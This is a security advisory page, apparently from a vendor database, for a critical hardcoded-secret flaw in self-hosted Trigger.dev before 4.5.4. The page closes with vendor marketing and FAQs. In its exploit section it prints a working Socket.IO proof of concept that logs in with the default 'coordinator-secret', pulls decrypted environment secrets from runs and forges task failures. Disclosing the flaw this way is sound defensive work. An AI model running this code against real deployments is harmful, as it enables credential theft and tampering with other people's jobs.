Summary
Trigger.dev: V1 coordinator default-secret unauth Socket.IO
TL;DR
The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.
Vulnerabilities
This attack is made possible by 3 vulnerabilities in Trigger.dev:
1. Hardcoded default authentication secret (CWE-798, Critical)
PROVIDER_SECRET and COORDINATOR_SECRET are declared with .default("provider-secret") / .default("coordinator-secret") in apps/webapp/app/env.server.ts:289-290. The values are present in the public source repo, neither var is documented in docs/self-hosting/env/*.mdx, hosting/docker/.env.example, or hosting/k8s/helm/values.yaml, and the auth check at packages/core/src/v3/zodNamespace.ts:148 is a plain string compare against that published value
2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)
READY_FOR_EXECUTION at apps/webapp/app/v3/handleSocketIo.server.ts:123 calls sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...), which at apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895 returns payload.environment as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only marqs/ code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below
3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)
TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. attempt_* friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id
Exploit chain / PoC
import { io } from "socket.io-client";
const sock = io("https://<self-hosted-target>/coordinator", {
auth: { token: "coordinator-secret" },
transports: ["websocket"],
});
sock.on("connect", () => {
// exfil decrypted env for a known run id
sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
console.log(res.payload.environment);
// { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
});
// mark any attempt failed
sock.emit("TASK_RUN_FAILED_TO_RUN", {
completion: {
id: "<attempt_friendlyId>",
ok: false,
error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
},
});
});
Resolution
Fixed in v4.5.4. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit 5ba8557a5 (#4236), including the /coordinator, /provider, and /shared-queue Socket.IO namespaces, packages/core/src/v3/zodNamespace.ts, the marqs shared-queue consumer, and the PROVIDER_SECRET / COORDINATOR_SECRET environment variables.
All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the READY_FOR_EXECUTION env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.
Affected: self-hosted Trigger.dev < 4.5.4. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).
Managed cloud (cloud.trigger.dev) was not affected: it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.
Action: self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.
Impact
Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact. Typical impact: unauthorized access using the static credential.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-GG6R-GP4C-89HP? GHSA-GG6R-GP4C-89HP is a critical-severity use of hard-coded credentials vulnerability in trigger.dev (npm), affecting versions < 4.5.4. It is fixed in 4.5.4. Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact.
- Which versions of trigger.dev are affected by GHSA-GG6R-GP4C-89HP? trigger.dev (npm) versions < 4.5.4 is affected.
- Is there a fix for GHSA-GG6R-GP4C-89HP? Yes. GHSA-GG6R-GP4C-89HP is fixed in 4.5.4. Upgrade to this version or later.
- Is GHSA-GG6R-GP4C-89HP exploitable, and should I be worried? Whether GHSA-GG6R-GP4C-89HP is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-GG6R-GP4C-89HP is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-GG6R-GP4C-89HP? Upgrade
trigger.devto 4.5.4 or later.